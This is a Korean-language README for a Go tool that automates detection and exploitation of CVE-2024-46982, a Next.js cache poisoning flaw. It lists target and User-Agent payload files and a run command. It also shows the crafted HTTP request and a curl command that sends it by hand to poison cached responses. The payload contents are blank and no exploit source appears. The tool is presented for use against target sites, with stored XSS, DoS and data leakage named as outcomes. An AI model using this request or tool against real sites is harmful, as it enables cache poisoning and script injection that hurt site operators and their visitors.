Next.js 캐시 포이즈닝 익스플로잇

이 도구는 Next.js의 캐시 포이즈닝 취약점인 CVE-2024-46982의 탐지 및 익스플로잇을 자동화합니다. 이 취약점은 서버사이드 렌더링(SSR) 응답이 정적 사이트 생성(SSG)으로 잘못 캐시되는 문제입니다. 이러한 구성 오류는 저장형 XSS, DoS, 데이터 유출로 이어질 수 있으며, 공격자가 캐시된 응답에 악성 콘텐츠를 주입할 수 있게 합니다.

설치 및 사용법

대상 목록 준비

targets.txt 파일을 생성하고, 한 줄에 하나의 대상 URL을 입력합니다:

https://vulnerable-site.com
https://another-target.com

사용자 정의 페이로드 정의

payloads.txt 파일을 생성하고, User-Agent 헤더를 통해 주입될 페이로드를 입력합니다:

익스플로잇 실행

다음 명령어로 컴파일 및 실행합니다:

go run exploit.go -f targets.txt -p payloads.txt -d 5

작동 방식

• targets.txt에서 대상 URL 목록을 읽음
• 각 대상을 반복하며 취약한 엔드포인트를 추가:

GET /poc?__nextDataReq=1 HTTP/1.1
Host: vulnerable-site.com
User-Agent: <PAYLOAD>
x-now-route-matches: 1

• payloads.txt의 다양한 페이로드를 각각 사용하여 여러 요청을 전송
• HTTP 응답을 분석하여 성공적인 주입의 징후를 확인:
  • 페이로드가 응답 본문에 나타나면 → 대상은 취약함
  • 응답 코드가 200 OK이고 캐싱 동작이 비정상적이면 → 잠재적으로 취약함
  • 응답 코드가 403 Forbidden 또는 404 Not Found이면 → 패치되었을 가능성 높음
• 모든 대상 테스트 후 결과 표시

수동 확인 방법:

다음 curl 명령어를 사용하여 악성 요청 전송:

curl -X GET "https://vulnerable-site.com/poc?__nextDataReq=1" \
     -H "User-Agent: " \
     -H "x-now-route-matches: 1"

브라우저에서 엔드포인트 방문

요구 사항

• Go 1.21 이상